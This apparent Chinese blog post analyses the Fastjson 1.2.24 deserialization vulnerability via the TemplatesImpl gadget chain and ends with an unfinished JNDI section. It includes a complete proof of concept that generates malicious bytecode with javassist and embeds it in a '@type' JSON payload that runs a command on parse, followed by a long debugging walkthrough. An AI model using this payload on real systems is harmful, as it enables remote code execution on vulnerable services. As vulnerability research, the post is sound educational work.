Fastjson反序列化(2)-TemplatesImpl利用链
# 前言
在Fastjson版本为1.2.22-1.2.24的时候存在反序列化漏洞,这个漏洞可以基于两种利用方式:
- 基于TemplatesImpl的恶意字节码
- 基于JdbcRowSetImpl的JNDI
下面笔者会就这两种利用方式来对这个漏洞进行调试分析。
# 基于TemplatesImpl
# 环境配置
环境
- Fastjson 1.2.22-1.2.24(笔者使用的是1.2.24)
- JDK 8u101
POC用的额外的jar包
- commons-codec-1.9(用于对class文件进行base64编码)
- javassist(用于生成恶意字节码文件)
# POC(1)
笔者这里先把poc放下面,之后再进行调试分析:
public class Demo {
public static void main(String[] args) throws Exception {
/*
利用javassist来生成恶意字节码
*/
// 获取类池对象
ClassPool aDefault = ClassPool.getDefault();
// 向类池中添加类
aDefault.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass calc = aDefault.makeClass("Calc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 生成恶意static代码块
calc.makeClassInitializer().insertBefore(cmd);
calc.setSuperclass(aDefault.get(AbstractTranslet.class.getName()));
// 获取字节数组
byte[] bytes = calc.toBytecode();
// 获取恶意字节码
String base64ClassString = Tools.getBase64String(bytes);
// 生成payload
String payload = "{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl','_bytecodes':['" + base64ClassString + "'],'_name':'f4de','_tfactory':{},'_outputProperties':{}}";
payload = Tools.processString(payload);
System.out.println(payload);
// 进行反序列化
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
为了方便写POC,笔者额外写了一个Tools
类来对payload进行处理:
public class Tools {
/*
处理json字符串,用"来替换'
*/
public static String processString(String string) {
string = string.replace("'", "\"");
return string;
}
/*
根据class文件的路径生成base64字符串
*/
public static String getBase64String(String classPath) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(classPath)), byteArrayOutputStream);
} catch (Exception e) {
e.printStackTrace();
}
return Base64.encodeBase64String(byteArrayOutputStream.toByteArray());
}
/*
根据字节数组直接生成base64字符串
建议搭配javassist来使用
*/
public static String getBase64String(byte[] bytes) throws Exception {
return Base64.encodeBase64String(bytes);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
运行POC:
# POC(1)分析
# 限制条件
- 必须开启
Feature.SupportNonPublicField
才能RCE成功
# 前置知识
如果调试过CC链的朋友应该都知道CC2就是基于恶意字节码来进行利用的,利用点在于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类。在这里也是利用了同样的方式,如果不熟悉也没关系,我们下面对这个类进行简单的分析:
这个类中的成员变量大多是被private
所修饰,其中漏洞的利用点在_bytecodes
和_outputProperties
这两个成员变量。
先看_outputProperties
的构造方法getOutputProperties()
:
这里调用了newTransformer()
这个方法,继续跟进:
接着调用了getTransletInstance()
,继续跟进:
再跟进defineTransletClasses()
:
在这个方法中会对_bytecodes[]
这个字节数组进行defineClass
处理,作用就是把字节码文件还原成一个类,并把结果赋值给_class[i]
。但是在还原的过程中不会调用这个类的构造函数和static
静态代码块,只有显式的调用其构造函数,构造方法和类初始化代码块才会被执行,所以我们再回到getTransletInstance()
方法:
在这里调用了_class[]
数组中的类中的构造方法和类的初始化代码块。
由于篇幅所限,又涉及到了Java字节码的知识,这里就只能对它进行简单的分析,如果有机会以后会写一篇文章来详细说一下Java字节码。
# 分析
直接在最后一行的JSON.parseObject
打下断点,先跟进到JSON.parse
方法,此时的函数调用栈如下:
parse:136, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
2
3
4
这里的会根据生成的parser来进行解析,先跟进该类的的构造方法看一下:
调用了JSONScanner
的构造方法生成该类的实例,这个对象是用于词法解析的,跳出这个方法然后再回到DefaultJSONParser
,继续跟进this()
:
这里会拿到JSON文本的第一个字符{
,然后lexer.next()
方法会把JSONScanner(以下简称扫描器)的解析指针往后移一位:
然后再设置token为12。再往下跟进到DefaultJSONParser.parse
,此时调用栈如下:
parse:1306, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
2
3
4
5
6
跟进该方法:
这里会根据我们之前获取的token来进入不同的case分支,由于我们的token是12,所以进入了这里:
接着跟进parseObject
:
扫描器的scanSymbol
方法会把我们第一个键名@type
扫描出来,然后根据@type
进入这里:
这里的scanSymbol
会扫描出@type
所指定的类,这里是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,然后调用TypeUtils.loadClass
加载该类到缓存中并返回这个类(这里先不详细展开说,后面说补丁绕过会具体跟进这个方法调试)。
当我们获取到这个类之后再往下调试,这里会根据获取到的clazz来获取对应的deserializer:
跟进该方法调试到如下位置:
此时函数调用栈如下:
createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
2
3
4
5
6
7
8
9
10
跟进该方法到如下关键位置,调用了JavaBeanInfo.buid
:
再跟进该方法:
这个方法中会通过反射来获取传入的clazz的全部方法和成员变量,然后在这里会对方法进行筛选,我们在上一篇文章中说的满足条件的setter和getter就是在这里筛选出来的,之后会把筛选出来的方法添加到fieldList中,由于这部分代码比较长,我这里就截取一部分:
筛选完方法之后就作为参数传入JavaBeanInfo
的构造方法中用于生成该类的实例,也就是对应的deserializer:
然后返回上层,准备执行JavaBeanDeserializer.deserialze
这个关键函数:
跟进该方法,方法内会循环扫描解析,当扫描到key为_bytecodes
的时候会调用这里的DefaultJSONParser.parseField
来对其进行解析:
继续跟进,方法内调用了smartMatch
方法来匹配key来获取对应的FieldDeserializer
:
我们再跟进这个方法,在这个方法中会拿_bytecodes
和JavaBeanDeserializer.sortedFieldDeserializers
中的fieldInfo
来进行比较:
_bytecodes
会因为条件都不满足最后返回null,我们再回到上层的smartMatch
,因为获取到的fieldDeserializer
为null,所以会进入到下面这个分支中:
在这个分支中会把key的-
,_
等替换为空:
经过处理后_bytecodes
变成了bytecodes
,然后再次调用getFieldDeserializer
获取对应的fieldDeserializer
:
但是返回的仍是null,再经过smartMatch
这么多处理之后还是没有获取到相应的fieldDeserializer
,之后会在JavaBeanDeserializer#parseField
中创建一个DefaultFieldDeserializer
:
然后调用DefaultFieldDeserializer#parseField
,进行_bytecodes
的解析:
跟进该方法,在这里会把JSON文本中的_bytecodes
的值解析出来:
接着跟进该方法,然后会进入到DefaultJSONParser#parseArray
方法:
接着跟进方法,调试到这个关键位置:
跟进,然后这里会获取一个byte数组,也就是_bytes
所对应的值:
跟进箭头所指的方法,发现它对数组进行了一次base64解码(这就是为什么POC中要对_bytecodes
的值进行base64编码的原因):
此时函数的调用栈如下:
bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) [2]
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) [1]
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
之后我们返回上层,这里就把base64解码之后的数据返回给变量val
:
逐层返回到DefaultFieldDeserializer#parseField
,现在我们已经通过解析获得了_bytecodes
对应的值val
,在下面这个断点的地方会对其进行赋值:
跟一下这个方法,最后调用到了field.set
将解析出的val
赋值到之前生成对象中:
再层层返回到JavaBeanDeserializer#deserialze
这个方法中,此时对于_bytecodes
来说解析已经完成,我们继续往下调试,经过scanSymbol
的处理之后得到了第二个键名_name
,整个过程和上述基本一致,笔者就不重复分析一遍了,我们要分析的重点是第三个键名_proPerties
的处理过程。
回到JavaBeanDeserializer#deserialze
之后循环继续循环扫描解析,获得_outputProperties
这个key:
继续往下调试到parseField
,然后跟进:
获取到对应的fieldDeserializer
之后执行DefaultFieldDeserializer#parseField
,接着跟进到setValue
:
继续跟进,就会发现它首先获取到了_outputProperties
对应的getter
方法:
至于为什么会获取到它的getter
方法我们在第一篇文章中就已经说过前提条件了,而且在上文中的分析过程中也说明了哪些setter
和getter
方法会被添加到fieldList
中,这里就不赘述了。与_bytecodes
不同的是_outputProperties
会因为method!=null
和fieldInfo.getOnly
而进入对应的分支中:
然后调用了getOutputProperties.invoke
:
接着跟进,然后就会触发getOutputProperties
方法:
此时的函数调用栈如下:
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
再跟进newTransformer
方法,之后就是我们前置知识中所分析的调用链,直至触发我们所构造的恶意代码,弹出计算器:
最后的函数调用栈:
getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 基于JdbcRowSetImpl的JNDI
JNDI有两种利用方法:LDAP和RMI
笔者这里使用的是基于RMI的JNDI利用方式(LDAP还没学会,逃
# 环境配置
……未完待续,有时间再更💫